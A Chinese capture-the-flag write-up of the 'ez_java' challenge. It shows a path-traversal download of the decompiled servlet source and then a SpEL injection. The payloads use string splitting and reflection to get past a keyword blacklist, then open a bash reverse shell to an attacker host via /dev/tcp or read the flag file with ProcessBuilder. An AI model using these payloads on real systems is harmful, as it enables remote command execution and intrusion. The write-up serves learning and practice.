前言
Spring 表达式语言(简称“SpEL”)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于 Unified EL,但提供了额外的功能,最值得注意的是方法调用和基本的字符串模板功能。
第二届网刃杯的一道java题目ez_java是一道涉及SPEL注入的入门题目,这里写一下解题思路以及对SPEL注入的学习。
一、信息泄露
打开题目靶机,看到一个下载文件的功能。
抓包发现可能存在任意文件下载
看看能不能目录穿越把web.xml下载下来,如果可以的话就能分析项目的路由,也可以把源码下载下来。
看到了有两个class文件,一个是前面下载的功能,另一个用浏览器打开看看
直接显示error,没有头绪,把它的源码下载下来看看。
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.abc.servlet;
import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
public class TestServlet extends HttpServlet {
public TestServlet() {
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
String name = request.getParameter("name");
name = new String(name.getBytes("ISO8859-1"), "UTF-8");
if (this.blackMatch(name)) {
request.setAttribute("message", "name is invalid");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
System.out.println(name);
String message = this.getAdvanceValue(name);
request.setAttribute("message", message);
request.getRequestDispatcher("/message.jsp").forward(request, response);
} catch (Exception var5) {
request.setAttribute("message", "error");
request.getRequestDispatcher("/message.jsp").forward(request, response);
}
}
private boolean blackMatch(String val) {
String[] var2 = this.getBlacklist();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
return true;
}
}
return false;
}
private String getAdvanceValue(String val) {
ParserContext parserContext = new TemplateParserContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(val, parserContext);
StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
private String[] getBlacklist() {
return new String[]{"java.+lang", "Runtime", "exec.*\\("};
}
}
二、SPEL表达式注入
首先看用到的依赖,有SPEL是我们这次的主角。
分析一下代码功能,当我们往页面发送GET请求或者POST请求的时候,会取得键为name的参数(get或者post过去的都可以)。
接下来会使用黑名单取匹配一下这个name,如果匹配上了就会报错并且退出。绕过黑名单之后,会在下面调用getAdvanceValue,getAdvanceValue中用了getValue解析了SPEL表达式。
spEL表达式是可以操作类和方法的,可以通过类型表达式T(Type)来调用任意类方法,这里采用StandardEvaluationContext,而它包含了spEL的所有功能,在允许用户控制输入的情况下可以造成任意命令执行。
StandardEvaluationContext公开全套SpEL语言功能和配置选项。可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
那我们直接把payload通过name参数传入就行。执行的语句用#{}包裹。
如果没有被过滤,直接取得Runtime对象,通过Runtime对象的exec来执行命令。
T(java.lang.Runtime).getRuntime().exec("calc")
但是黑名单过滤了一些关键字。
我们可以通过反射来执行命令,这样就可以绕过黑名单。
#{T(String).getClass().forName("jav"+"a.la"+"ng.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("jav"+"a.la"+"ng.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).forName("jav"+"a.la"+"ng.Ru"+"ntime")),new String[]{"bash","-c","bash -i >& /dev/tcp/vps的ip/port 0>&1"})}
像上面这样,字符串可以分开再拼接,就可以绕过黑名单,这里直接就反弹shell。先url编码以下在打过去。
接受反弹shell成功,getshell成功!
获取flag
如果靶机无法出网,那么我们的反弹shell就无法成功,但是只要SPEL显示在了页面上就可以把命令执行的结果显示出来。我们表达式的执行结果会当成字符串返回并显示在页面上,那么我们只要获取到命令执行的结果,返回String对象就可以了。因为Runtime执行命令无法获取结果,所以这里用到ProcessBuilder来执行命令。这样执行的命令执行结果可以获取。
#{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /f1AgJvav"}).start().getInputStream(), "gbk")).readLine()}
总结
又学到了一个新姿势,很有意思的知识点,慢慢积累,慢慢进步。